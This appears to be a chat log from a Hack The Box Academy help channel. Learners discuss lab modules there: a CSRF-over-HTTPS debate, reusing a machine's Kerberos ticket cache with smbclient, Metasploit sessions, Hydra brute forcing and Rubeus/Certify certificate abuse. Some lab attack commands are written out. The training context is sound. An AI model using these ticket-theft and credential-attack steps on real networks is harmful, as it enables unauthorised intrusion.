Sed uses / between it's arguments

So you'd need to format http:// as http:\/\/

Which escapes the / character

So it doesn't get interpreted as ending the statement

[normal sand]

Anyone having issues with the VPN?

[fathom pendant]

https://linux.die.net/man/1/sed [man sed]

[fickle portal]

like this? curl -s "https://www.inlanefreight.com/" | grep -oE "https://www.inlanefreight.com(/[a-zA-Z0-9./?=_-]*)?" | sed 's/https:\/\/www\.inlanefreight\.com//' | sort | uniq | wc -l

[fickle portal]

It works fine with me

[fathom pendant]

Try generating and downloading a new vpn file

[normal sand]

I tried regenerating. The TLS handshake keeps failing. I'll try a different server.

[fickle portal]

I still get the same answer :/ I think I'm just gonna pass on this one

[regal sigil]

Hey I have a slight query using gobuster, here i used a patterns file, but gobuster not even following the pattern i gave it

[regal sigil]

the patterns file

[fathom pendant]

Just search the forums for a command

https://forum.hackthebox.com/t/linux-fundamentals-filter-content-filter-all-unique-paths-of-domain/270162

This one includes an explanation

There's a simple and slightly more complex command in the forums

[fickle portal]

Thank you so much. I didn’t know there was so many responses available on the forums. I will look it up more often

[fathom pendant]

Np you're likely to find a bunch of info on tier 0 modules

[normal sand]

Tried 2 EU servers and 2 US servers. Then tried returning to an old snapshot of my VM and it still doesn't work

[fathom pendant]

I also suggest running the command one pipe at a time to see what it's doing

[fickle portal]

Sure I will do it. I am a bit familiar with all these commands separately but combining them is quite new to me

[feral sapphire]

Hey guys, is there a way to run ubuntu+gui in docker ?

[fathom pendant]

Probably. You'd just need to open an rdp port for it

Likely a few google searches can get you there

[normal sand]

Who do I contact if I'm still having issues with the VPN?

[fathom pendant]

Support

I take it you're running openvpn with sudo / as root

[normal sand]

Yes

[normal sand]

Where's support? 😅

[fathom pendant]

There's a green bubble in bottom right of academy

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[normal sand]

Thanks

[normal sand]

I for the life of me cannot spot the green buble 💀

[fathom pendant]

Disable adblock then

[normal sand]

Thanks, found it.

[hollow ibex]

module:session security section:csrf(get based) If csrf.htb.net was utilizing SSL encryption, would an attacker still be able to alter Julie Rogers' profile through CSRF? Answer format: Yes or No

[fathom pendant]

I mean the answer is likely in the reading

[hollow ibex]

when i set answer to yes it is right

[fathom pendant]

And the section likely explains it

It's also helpful to express your confusion about something rather than just reposting the question

[hollow ibex]

this is wrong because if we on local network we are unable to sniff https traffic so how could and attacker can gain csrf token ??? if anyone have knowledge about it tell me the module name is session security section:csrf (get based)

[fathom pendant]

https://owasp.org/www-community/attacks/csrf#:~:text=HTTPS,preventative measures to be trustworthy.

https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/preventing-cross-site-request-forgery-csrf-attacks

Hope these help clear up any confusion

Tldr the csrf can still send https://

[hollow ibex]

@fathom pendant but at the start the start of section thet write . Similar to how we can extract session cookies from applications that do not utilize SSL encryption, we can do the same regarding CSRF tokens included in unencrypted requests.

[fathom pendant]

It likely later explains that it's still possible with ssl

Again I provided 2 additional resources that explain that ssl does not inherently prevent csrf

As the malicious site can just send the request as https:// instead of http://

[hollow ibex]

because they write in the way the attacker first have csrf token of victim that is only gain by network snifing so it means that the if we sniff https traffic we were able to get csrf token of victim ???

[fathom pendant]

You might not sniff it over the network but the data is decrypted at the end point, you don't need to see it's transit

Usually csrf gains tokens via some form of malicious form

Not generally just by sniffing

[hollow ibex]

but in the particular section they write at first

[fathom pendant]

Ignore the at first portion

You're focusing too much on that

I'm telling you: typically csrf is attained via malicious web form, not by sniffing

In which case sniffing does not matter

[hollow ibex]

that they intercept the request using burp then capture the csrf token of victim then used it to mount the attack

[fathom pendant]

sigh

At least read the additional resources I linked to gain more insight

Instead of trying to argue about the examples

[hollow ibex]

@fathom pendant i understanding you but the context i tell u is different in that section how an attacker would gain csrf token of victim if he not sniff the network you tell me ???

[fathom pendant]

sighs by having the victim visit a malicious site which will capture the tokens

As cookies are always sent with any http(s) request

[hollow ibex]

but in the section they first capture the csrf token of victim then used it to write the attacker crafted web page

[fathom pendant]

I'm done trying to further explain it when you're extremely hung up on the example

Also burp isn't a sniffer

It just intercepts traffic

So it doesn't see the request the same way something like Wireshark would

With burp, the traffic is already decoded

[hollow ibex]

i know burp is not sniffer they just tell like that way two user on the sam network

[fathom pendant]

Just nevermind

Point is. Csrf is still possible

Both links I provided earlier state https alone is not enough to prevent csrf

[hollow ibex]

to exploit csrf the conditons must be met 1:sessoin based on cookie only and 2 :no unpredictable parameter in this case csrf parameter is unpredictable by attacker so who he can exploit it ???

[fathom pendant]

They likely explored the webpage itself to see what the vulnerable parameters are then crafted a malicious site based off that

If there's a csrf token, then yes it's harder

But https doesn't magically make a csrf token

It just puts the ssl layer on the webpage

That's it. Ssl doesn't inherently magically add things

The question was simply "if ssl is enabled can you still csrf" which you can

Not "if csrf tokens are implemented"

[hollow ibex]

their is csrf token that they used to make the attaker web page with the same value of victim csrf token then serving him to perform csrf

[fathom pendant]

No, they got the session token/cookie

Which is different

[hollow ibex]

they just copy paste the value

[fathom pendant]

Also: it's not asking how its asking if and later sections likely explain it

[hollow ibex]

which is not possible in real world

[fathom pendant]

No, it's possible

While not common

Csrf is very much still possible

[hollow ibex]

can you tell the scanrio of attack

[fathom pendant]

https://portswigger.net/web-security/csrf

https://www.ghacks.net/2008/01/17/dos-vulnerability-in-utorrent-and-bittorrent/

Anyway. Point is

All sources say it's possible with https

Because ssl alone isn't enough

Usually other stuff would be added on top of https that would mitigate or prevent

[fierce mason]

for getting local admin on ad attacks skills assessment ii, on the sql01 host, is the intended way supposed to be abusing one of the privileges the user has

[hollow ibex]

i left talking about ssl or without ssl i just tell how they say they could work in local network

[fathom pendant]

Potatoes can be delicious, and printers like to be spoofed

[dim wolf]

do they really?

[fathom pendant]

Brother, it's the same principle

[fathom pendant]

In this instance, yes 😄

[dim wolf]

they are wild

[hollow ibex]

@fathom pendant the resource you share is verb tempring

[fathom pendant]

You're overcomplicated the simple question

[fathom pendant]

????? All resources articles state csrf and the link to the utorrent attack was referenced in the owasp page I linked

[hollow ibex]

the last question

[fathom pendant]

So unless owasp is wrong

And portswigger

[hollow ibex]

in the particular section what they want to convey like first they write in the attack scnrio in local network then in the middle they capture the victim request and copy the csrf token and paste it to perfom attack and at the end they say they is able to change victim profile if ssl implemented

@fathom pendant i am not saying anything right or wrong i just want figure out the content written in the seciton

[fathom pendant]

The section does not mention ssl, so that part requires research

Which takes maybe a few seconds to google

Which all i did was google "does https prevent csrf" and "is csrf possible with https"

[hollow ibex]

@fathom pendant i suggest you to skim the section in free time

[fathom pendant]

I am looking

[hollow ibex]

@

[fathom pendant]

And as I said, while it doesn't mention ssl

Research will tell you the answer

And tell you why

Which it's mostly unrelated to the question

As it boils down to, csrf and https

Which if you extrapolate that it's possible in general with ssl --> it's possible in the hypothetical

[hollow ibex]

@fathom pendant can you tell me the whole attack snario of the section put side the question only tell me the what they want to convey by writing csrf in get based

[fathom pendant]

Ugh

It's literally the same attack, but with https/ssl instead of http

That's it

[hollow ibex]

so who you would get csrf token in real world ??? to replicate the same process that they write

[fathom pendant]

sighs

You would visit the website and log in to your account/a test account. Visit a self hosted page or something like that while intercepting the request to see if, in-fact there's no randomized tokens or any anti-csrf measures in place

If not then boom you launch a social engineering attack to get a logged in user to visit your malicious page and get their token

By viewing the types of requests at play, i.e. get, you can then craft malicious payloads that would then perform actions on behalf of the user, such as changing their password

Ssl only just acts to tell the browser it's using https

That's it

[hollow ibex]

@fathom pendant but in that case there is csrf token

[fathom pendant]

Then you can't do it, if it's a randomized token. But again that wasn't the question as originally posed

:p if any anti-csrf measures are in place then it makes it virtually impossible

Also there's a section

remediation advice which goes over prevention methods

[hollow ibex]

so see all the question above i am talking you who to get csrf token . so in which context they write the section get based csrf if we could not mount it in real life

[fathom pendant]

I don't think I quite understand your question

It's likely the module uses a cookie labeled csrf that isn't actually randomized

Just to reinforce the idea

Generally a session cookie might look like site_session={cookie}

[hollow ibex]

i learn through portswigger and ranakhlil video but the context they write on get based csrf are unable to understand like mixing things

[fathom pendant]

I think there's also a language barrier that's further creating a misunderstanding

If you link your app.hackthebox.com account by following #welcome you can ask in #web and someone there can likely better explain it

But in general a malicious html will write any gathered session cookies it grabs to a file so it doesn't have to be intercepted

Or is logged in some way for the attacker to view it

[storm elk]

The modules will explain to you so that you understand how it works in an ideal for the hacker situation. Of course there are many factors involved but you will get basic understanding. SSL will make it harder to snoop in on traffic but not entirely impossible

[fathom pendant]

Ssl doesn't matter if the request is being made directly to the malicious page

Since the data won't be encrypted when it arrives

So sniffing is not even a factor

Also none of the sections about it talk about sniffing, they talk about intercepting with burpsuite

[storm elk]

True

[hollow ibex]

so after all the things who would an attacker mount the attack if he not have csrf token of victim that they show .

[storm elk]

That was my language barrier 😅

[fathom pendant]

They get the victim to send them their token

Also it's *how not *who

That's what the example and setup is showing

The attacker in some way receiving the victim's session token

Usually it's via social engineering

I.e. an email

This is why most organizations at minimum don't show images from outside sources

[hollow ibex]

👍

[fathom pendant]

Or at the very least use some form of screening to prevent it

Intercepting is not the same as sniffing

[stable bone]

ohhh wait... is HTB academy different than HTB?

[fathom pendant]

Sniffing is passively listening on the network

Yes

Academy is the learning site

[stable bone]

do you have to pay for HTB?

[fathom pendant]

Main site? No

[stable bone]

idk bro im legit brand new to everything i started the modules two days ago

[fathom pendant]

All active content is free

[hollow ibex]

@fathom pendant no so why they write at top Cross-Site Request Forgery (GET-based)
Similar to how we can extract session cookies from applications that do not utilize SSL encryption, we can do the same regarding CSRF tokens included in unencrypted requests.

[stable bone]

idk what you mean?

[fathom pendant]

On main site there's active and retired content

Retired requires vip sub to access

[fringe urchin]

Well the normal HTB site is for season and active machines/fortresses, you can look at it like small "pentest". Academy is there to teach you

[hollow ibex]

and in middle ;>>>>> they write :Notice that the CSRF token's value above is the same as the CSRF token's value in the captured/"sniffed" request.dle

[fathom pendant]

Because it's using http as a simple example

[stable bone]

ok ok so help me out here... i started everything brand new two days ago and i want to join the army for cybersecurity... what would be the best starting point?

[fathom pendant]

As previous examples were also using http

[fathom pendant]

Not joining the army /hj

[fringe urchin]

Academy best for learning
The main site you can see as practice etc

[stable bone]

relax lil bro its what i wanna do so im not in college debt forever

[fathom pendant]

Lmao "Lil bro"

Anyway, academy and it's paths are good for learning I'd also look into DoD specs for cybersec and see the certs they have

Because DoD compliant certs are gonna be what you're going after anyway in the military

[hollow ibex]

@thanks for help but i thing you need to go through the module section

[fathom pendant]

I am

And I'm telling you

They are using http to remain consistent with previous sections, that's it

The same steps can apply even with https as long as there's no other protections in place

SSL just means there's a security cert via some Certificate Authority

It does not mean that it's completely safe

Which is a common misconception

They are using previously established examples that way you don't have to try and think of anything else

Otherwise: the technique is the same

Since nothing about the site had changed aside from adding ssl

[hollow ibex]

however in the get based csrf they used the same way in that they use in general csrf except copy pasting csrf token and mounting the attack

[fathom pendant]

We keep circling around the point

Point is: it works, the end

If you genuinely want to learn more do research on your own

[dim wolf]

first talk to a recruiter

[fathom pendant]

Instead of relying on others to partially explain it to you

[fathom pendant]

They never lie

It's illegal for them to lie

[dim wolf]

they never do but if they're going into the army for cybersec might as well ask

[fathom pendant]

Yep

[stable bone]

already did hes a family friend who has a PhD in cybersecurity and speaks 7 languages

[fathom pendant]

And understand asvab scoring

[stable bone]

alr took the asvab 🙄

[fathom pendant]

Doesn't mean you understand it

[dim wolf]

and what did he tell you

[stable bone]

yes yes it does he showed me my scores

im not a child mate

[fathom pendant]

Don't know since azure is a subscription

[silver zenith]

🙂

[dim wolf]

afaik no cloud content planned but there is an enterprise pro lab for azure ad

[fathom pendant]

Azure is a subscription based thing, so unsure how it would work in the academy environment

[dim wolf]

no cloud content then :(

[fathom pendant]

Also if you link your account following #welcome @stable bone there's the #careers-and-certs channel which is more apt to ask in

[stable bone]

i tried that already but it says i dont exist?

[dim wolf]

you need an account on the main platform

[fathom pendant]

Because app.hackthebox.com and academy.hackthebox.com are separate accounts technically

Only linked by sso once you sign up

[wooden perch]

Im stuck on this last question too.. have you succeeded? Spent +4h and giving up for some help. Ive ran kinit for LINUX01$ with the keytab found on /etc and exported the ccache under /var/lib but no luck. Any help is appreciated

[fathom pendant]

The linux01$ ticket isn't in tmp

Using an enumeration tool discussed at the end of the section can help you find the ticket

[wooden perch]

Correct, I used the linikatz

[fathom pendant]

One in /var/lib... should work

Make sure its not expired

[wooden perch]

But to kinit with the one found on var lib doesn't work either

[fathom pendant]

Did you kinit with the username?

[wooden perch]

Yes, LINUX01$

[fathom pendant]

kinit 'linux01$@inlanefreight.htb'

Linux01$ is only the partial name

As noticed with the initial user vector the full username included the domain

[e-mail]

[wooden perch]

Hmm interesting, will try this after a break..

[fathom pendant]

The key tab in etc will work for this

Note* this is how the official writeup did it, I exported the ccache file as my KRB5CCNAME and got it that way

Don't forget with smb stuff using keytab/kerberos auth you need the -k flag

[wooden perch]

Should I kinit before or after export?

[fathom pendant]

And -N ofc so it doesn't prompt a pw

You don't need to export with kinit

I didn't do kinit and got it with exporting just fine

[wooden perch]

With smb I was using -k -no-pass too

[fathom pendant]

I'm just going by what i see and what I did ¯_(ツ)_/¯

Like I said though the kinit likely failed bc you didn't use the full username

Just the partial

[wooden perch]

Maybe failed silently because I got no err msgs

[fathom pendant]

It'll do that

Sneaky bastard

[haughty tree]

I'm just curios as to what are the reasons for launching msfconsole as root

[cloud urchin]

First immediate thought is that some ports may be opened that require root

or some exploits too

[wooden perch]

copied /var/lib/sss/db/ ccache file to /root
export KRB5CCNAME=/root/ ccache file
klist, everything looks valid and correct principal LINUX01$
smbclient //dc01/linux01 -k -N -c “get /flag.txt /root/flag2.txt”

got err: gensec_spnego_client_negTokenInit_step: gse_krb5: creating NEG_TOKEN_INIT for cifs/dc01 failed (next[(null)]): NT_STATUS_NO_LOGON_SERVERS
session setup failed: NT_STATUS_NO_LOGON_SERVERS

[haughty tree]

Yeah I understand the ports part but I've always ran it as non root and never had issues with that

[fathom pendant]

no logon servers

That's odd

[next bronze]

the us servers seems to be broken for this module, there was someone earlier who switched to eu2 and it worked

[wooden perch]

cool, I will try

[fathom pendant]

Weird

[odd otter]

Introduction to Web Applications->HTML Injection->'What text would be displayed on the page if we use the following payload as our input: <a href="http://www.hackthebox.com">Click Me</a>' And hint->'Use the full text displayed on the page as the answer "Your ..."'
so i am confused because as i understood this very old module with question. But site changed content. I remember on site something like that: "Your journey start here.' But i can't find right sentence can you give me answer because i am sure i won't pass that question.

[wooden perch]

OMG, thank you so much! that was the issue.. bogus VM on US servers. Just finished this LONG LONG LONG module. Also thanks @fathom pendant for sanity check!!!

[next bronze]

send a message to support so that they can fix it

[wooden perch]

sure, their support team it's offline but a ticket has been opened

[wintry basin]

Hey, can you help me please. I also have the decoded output but I think my formatting is wrong. I tried putting the "serial=code", serial=code, code, etc. but nothings seems to be working.

[fathom pendant]

I take it you decoded the output and put that in as the serial yeah?

But the format would be -d "serial={decoded_output}" (without brackets

As you're sending a post request with data

[wintry basin]

I decoded the flag and then in the answer i'm typing serial=decoded_code

[fathom pendant]

Yes I'm just asking that you're replacing the decoded_code portion with your output that's all

:)

[wintry basin]

yes

[fathom pendant]

Ok

It might help to add ;echo after the curl request so you get a new line output

As the response tends to bleed into your line

So you may overlook it

[stable bone]

bro guys im so lost how do i get a local version of pwnbox or linux... isnt it literally the same thing as Ubuntu?

[fathom pendant]

Pwnbox is parrot

You can download from https://parrotsec.org

[cloud urchin]

isn't the pwnbox a bit customized though?

[fathom pendant]

Yes but it's based on parrot

[stable bone]

it keeps telling me to install Linux or pwnbox or wtv but i literally have Ubuntu through the Oracle virtual machine its not the same thing?

[cloud urchin]

Not the same thing. They're all Linux distributions, but they are different. You can do everything you can with a ParrotOS and Kali on Ubuntu, but you'll need to know how to install all the apps (kali and parrot have tons of them already preinstalled). You'll have to do extra leg work to get certain apps working on Ubuntu. Easier to just use kali or the parrot os.

[stable bone]

thank you i feel so dumb im brand new to everything 😭

[cloud urchin]

Don't feel that way, everyone had to start somewhere. Everyone learned this from someone at one point.

[open summit]

how do i make a session?

[fathom pendant]

A session is when you connect to a victim

[stable bone]

tyyy marcieee bro is goated

[wintry basin]

I tried but it is the same output

[open summit]

but for me to use a specfic module it wants me to use a session that doesnt make sense?

[fathom pendant]

Just checked, it's working for me

[fathom pendant]

Well it should have had you connect to a target using some exploit

[open summit]

so apaprently im mean to use this exploit but it wants a session

[fathom pendant]

Literally just checked it works for me

[wintry basin]

Can i ping u privately maybe my format is still wrong

[fathom pendant]

This looks like a post-exploit

[open summit]

im so lost icl

[stable bone]

me literally the last two days

[fathom pendant]

No, the decoding should give you a l337sp34k serial to use

[open summit]

so how do i find what module im gonna use on an ip?

[dim wolf]

what module is this

what academy module*

[open summit]

using the metasploit framework

framework got me tweakin n shi cuh

[fathom pendant]

Then it's as simple as curl -d "serial=<decoded_output>" http://ip:port/serial.php

[wintry basin]

Oh the whole thing

Im just typing the middle part

[fathom pendant]

How are you gonna post to nothing and expect a response

[fathom pendant]

What section?

[open summit]

'Sessions & Jobs'

[dim wolf]

get something to call back to your listener on msfconsole, then you should be able to use that post-exploitation module

[fathom pendant]

Yeah you're lost homie

As the questions refer to the target as running an old version of sudo

Sudo != windows

[open summit]

im on this bit

i got the target sepcficifc web application of elFinder and now im on q2.

cant seem to get a shell with the target thatsw what i been stuck on

[fathom pendant]

Yeah so search up exploits for elfinder

Don't know how that lead to windows

[open summit]

ik some guy yesterday told me to use it

i was confused cuz i nmapped and the shi was runnin on linux

[fathom pendant]

Bro trust your enumeration

Step back and go to square one with it

[open summit]

[fathom pendant]

You know the app so search that

Start there with finding your info and shell

[honest gyro]

Hello guys I’m doing (modern web explosion techniques —> second order command injection) I was able to get rce but I don’t know where is the flag path to cat it

[fathom pendant]

Well if you have rce try and find it

Either using rudimentary ls/dir

[stable bone]

i have a question... does HTB have employees to answer my dumb questions or is marcie just a goat?

[fathom pendant]

They don't pay me

[stable bone]

so youre just on here 24/7 helping ppl?

[fathom pendant]

https://tenor.com/view/sad-gif-7523306793289960933

Eh a majority of time

[stable bone]

its always mods i need help not how are the mods

[open summit]

hes investing in us by creating future cybersecurity experts

[stable bone]

bro gotta put his stocks elsewhere not on me😭

[vague sage]

what do i do here?i rdp like i shouldve
but wha

[honest gyro]

Damn

[stable bone]

marcie go on strike bro

[open summit]

bro dont give him ideas without him we are finished

[vague sage]

fr

[stable bone]

@fathom pendant dont go on strike you didnt read that forget everything

[fathom pendant]

Just went through as intended and took maybe a few minutes for everything to work :) whoever told you windows was on crack

Don't forget that -V is often most tools way of giving you the version

[open summit]

ye nmap -sV to get the version

[fathom pendant]

Not for q3

Also the version doesn't matter for q2 there's only 2 relevant possible exploits if you search in msfconsole

[open summit]

this it? for q 2

it wants a target uri and i have no idea what that is

[fathom pendant]

Only relevant options are rhosts and lhost

Also spoilers

Also I will always abide by the "don't ask, just do" method

Don't ask until you've tried and it didn't work

[open summit]

i got a session with /var/ww/html/files but what does that mean now? like where am i

ah

had to do shell command

www-data q2 complete - was stuck on it since yesterday 8pm thank u marcie

[stable bone]

hey so every time i try to open the parrot file it says "which app you want to open it with" but its only ever some media player, what do i do?

[open summit]

screenshot it

[stable bone]

it wont let me it keeps disappearing when i ss

[open summit]

dont screenshot from the machine screenshot out the machien

windows+shit+s

[stable bone]

i cant even get into the machine...

[stable bone]

ik... but it keeps disappearing...

[open summit]

use windows shift s

so

[stable bone]

yes but it keeps going away when i try

[open summit]

add the parrot iso using vm

like dont try open the parrto file

[stable bone]

ohhh

[stable bone]

ok so how do i do that...

[open summit]

then select the iso file

[stable bone]

cant open machine

[open summit]

what machien u using

[stable bone]

oracle

[open summit]

right so u on this bit

[stable bone]

yes it looks just like that

[open summit]

so click add at top

and select iso file

[stable bone]

"Can't open machine"

[wintry basin]

I keep getting the same encoded text after posting "serial=<decoded_output>" 😭

[open summit]

u need to try screenshot and show me

[limber river]

how could someone read this ?

[stable bone]

the imd64 ios file is now gone forever i cant find it

[storm elk]

https://parrotsec.org/docs/virtualization/install-parrot-on-virtualbox/ did you try to follow this?

[wintry basin]

I got it now. Thank you

[stable bone]

i just get this

[fathom pendant]

It's covered in the intro to windows module iirc

[limber river]

leeme check

[limber river]

windows fundamentals ?

[fathom pendant]

Yeah

I think it's been a minute

If not it's intro to ad

That's the DACL yeah?

[storm elk]

Then you look up that error and continue from there

[fathom pendant]

Sounds like file may be corrupted, try downloading again

[storm elk]

https://forums.virtualbox.org/viewtopic.php?t=84877

[limber river]

kerberos Attack

[fathom pendant]

I meant the format

I believe it's one of the acl related things

Ah it's SACL

https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/ @limber river

[quasi wave]

I just completed vulnerability assessment module

ya

[vague sage]

i cant rdp dude

keeps giving me this error

[stuck fable]

i have issue with rdp too, conect for 1 minute and disconect for 2 min, that's prety anoying

[limber river]

tysm

[fathom pendant]

Are you connected to the vpn?

[limber river]

try single quote to the password

[open summit]

how long u been doing htb before and what was ur hacking experience beforew that

[fathom pendant]

Basically none

Only been doing acad a little over a year

[cloud urchin]

You need to include the module and section. Maybe you shouldn't be RDPing into a box on the module you're working on, how can we know? Also this:

[honest gyro]

thanks but this wasnt my issue however i found it put it gave me (Permission denied\n)

tried sudo and i tried changing the command and it didnt work either

[sly nebula]

Anyone on Supply Chain Attack's skill assessment?

[vague sage]

Yeah
It was working with the other ones before but idk what happened now

I'll try again tomorrow

[cloud urchin]

just follow my guide

it'll fix 99.9999999% of your connectivity issues

[icy jungle]

Hi I’m new to all this can anyone give me some help to improve my skills?

[wanton idol]

fake pdf 🤨 jk jk just trolling

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[dim wolf]

@icy jungle

[icy jungle]

I know these things what should I do next?

[dim wolf]

you can start with Academy or Starting Point

[west canopy]

its the syntax used for SDDL , Security Descriptor Definition Language.
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/sddl-for-device-objects

[simple loom]

Hi guys! I just finished the Easy skill assessment for Attacking common services. I have a few doubts on some steps on the exploitation, can I DM anyone for guidance?

[limber river]

thank you

[west canopy]

ahh @fathom pendant beat me to it!

[fathom pendant]

Silly Microsoft site wouldn't lead me to sddl from DACL/SACL page

So I just went with the first Google result

I have mixed opinions on Bard's summaries

I mostly have been ignoring them

[cloud urchin]

bard has been absolute ass in my experience

[west canopy]

ChatGPT power user here. Just it freezes , or runs like crap 50% of the time

but always verify

[fathom pendant]

Yup

"That didn't work"
"Oh I'm sorry"

[cloud urchin]

test in production, never verify, take all the credit when things go right, and blame someone else when something goes wrong. thank you for attending my how to climb the corporate ladder ted talk.

[fathom pendant]

Can only fail upwards

Keep you away from touching the important things

[simple loom]

Anyone? 🥹

[wanton idol]

which is?

[simple loom]

Well, I had an issue with the smtp randomly not working (sometimes the user enumeration worked and sometimes it didn’t), but i guess thats connection issue. My main question is how can I know when the hydra bruteforcing is too agressive and I have to lower the threads

[simple loom]

Bc I got really stuck on it until I randomly discovered what happened. I wanna know if there is a way to see if the attack is being too agressive and therefore the correct password was skipped. Or it is just not yet tried

[cloud urchin]

verbosity, experience, google

those are 'how you would know'

[wanton idol]

verbosity can help to see whats sending but its mainly just trying out diff threads annd see what works

[simple loom]

Yes but I mean, if I am running hydra on the default settings and obvs dont know the password. I think it is easier to think that the password is not contained on the list rather than go down to 1 thread

Anyways ty for the replies guys ✨🙌🏼

[cloud urchin]

that's where your experience kicks in

now you know

[simple loom]

Hahahaha kk ty!!

[fierce mason]

for the last user to access on the ad attacks skills assessment part ii, ive tried using the tool needed for the first question as the hint for the user indicated that that tool may be needed, but i don't seem to be getting anything out of using that tool, is this a rabbit hole

[fluid quartz]

anyone able to help with windows evasion module aes crypter right at the start?

[simple loom]

Btw, just checked it, verbose mode in hydra is the key 😄

[calm talon]

Hello everyone, I am new here and to HTB and was wondering if anyone else was having an issue authentication for OpenSSH in the Linux Fundamental: page 17, Service and Process Management? This is the command I am using to start the SSH: systemctl start ssh
am I doing something wrong? When I run that command this is what I am getting:

Authentication is required to start 'ssh.service'.
Multiple identities can be used for authentication:

1. Debian (debian)
2. ,,, (htb-ac-610980)
   Choose identity to authenticate as (1-2):

Then it asks me for a passwd. Not sure what passwd it is asking for. Any help would be greatly appreciated.

[fathom pendant]

Well you don't need to start the ssh service on the pwnbox

It's already running as you can ssh into it from another system

[fierce mason]

nvm

[fathom pendant]

Also your credentials are stored on the desktop as "credentials"

[calm talon]

okay thank you for your help. The first thing it said was I needed to start it so, I was trying to do that. Also, thank you for the information about the credentials, I have a lot to learn.

[fathom pendant]

You don't need to do everything from the modules

Sometimes the examples are just that; examples

Usually the main thing they want you to do is look at the conf file, but I don't recommend messing with the ssh conf file on the pwnbox

As the pwnbox has an exposed interface to the internet

[calm talon]

Oh okay I was just following alone with the reading. Roger that, no messing with the ssh conf file.

[fathom pendant]

A lot of stuff is often purely informative

[calm talon]

Oh, okay so just read-comprehend-answer the questions. Thank you for the assistance. It has been a long time since I studied and worked this much with computers.

[fathom pendant]

Note taking will be highly beneficial

[calm talon]

Is there a preferred method for taking notes besides the "old school" paper and pencil?

[dim wolf]

anything that suits you

a lot of us use obsidian as our note-taking tool

[fathom pendant]

Obsidian is a great tool and facilitates copy/paste

[calm talon]

Obsidian....I like the sound of that I will find it and give it a try. Does it work with phone's as well or just computers?

[silk marsh]

hello

[dim wolf]

there is a mobile app, but if you want your notes to sync between your phone and pc, i think you need to pay

[fathom pendant]

There's no syncing (for free users)

[silk marsh]

for some reason i can't write in #general. i just joined

[fathom pendant]

You can get around it by setting up your vault as a cloud location like Google drive

[dim wolf]

verify your account -> #welcome

[fathom pendant]

Read and follow #welcome

[silk marsh]

oh okay. thanks

[calm talon]

what about using One Drive think that will work?

[strong bough]

🤫

[tight hedge]

Hi there, im working on the PK1 - ESC1 and ima little stuck in the part when I need to request a kerberos TGT on Rubeus

.

The client mismatch comes from the certificate provided or the user who requested?

[cloud urchin]

what module?

[tight hedge]

Windows Attacks & Defense/PK1-ESC1

[cloud urchin]

i haven't done that module so someone else can probably chime in and give you a better answer, but generally i think that error will happen due to incorrect SPN provided in the TGS request, the username is wrong or doesn't exist, or wrong domain

it looks like you're trying to auth via a local admin account, which is probably why

local accounts are managed by SAM on individual computers not the DC

oh looking again maybe it's not a local account. still probably one of those things i mentioned.

[wanton idol]

unless the administrator acc has a tgt

[cloud urchin]

if it's the domain admin yeah, but not the local admin

[wanton idol]

yup pretty sure u can see which acc has a tgt via rubeus and mimikatz

if u have local admin rights

[tight hedge]

Well, in the exercise we find the certificate template through "Certify", then request the certificate of the Administrator on Certify again

Then I end up with Certificate and Private key.
the certificate is a PEM and I converted to PFX, that certificate is the one provided to Rubeus to request the TGT

[viral slate]

[NTLM RELAY ATTACKS - SKILLS ASSESSMENT]
Hey guys!
Currently working on skill assessment here and got stuck on second question.
Can I have a nudge?

[next bronze]

check for ESC

[viral slate]

Can I DM to you?

[next bronze]

sure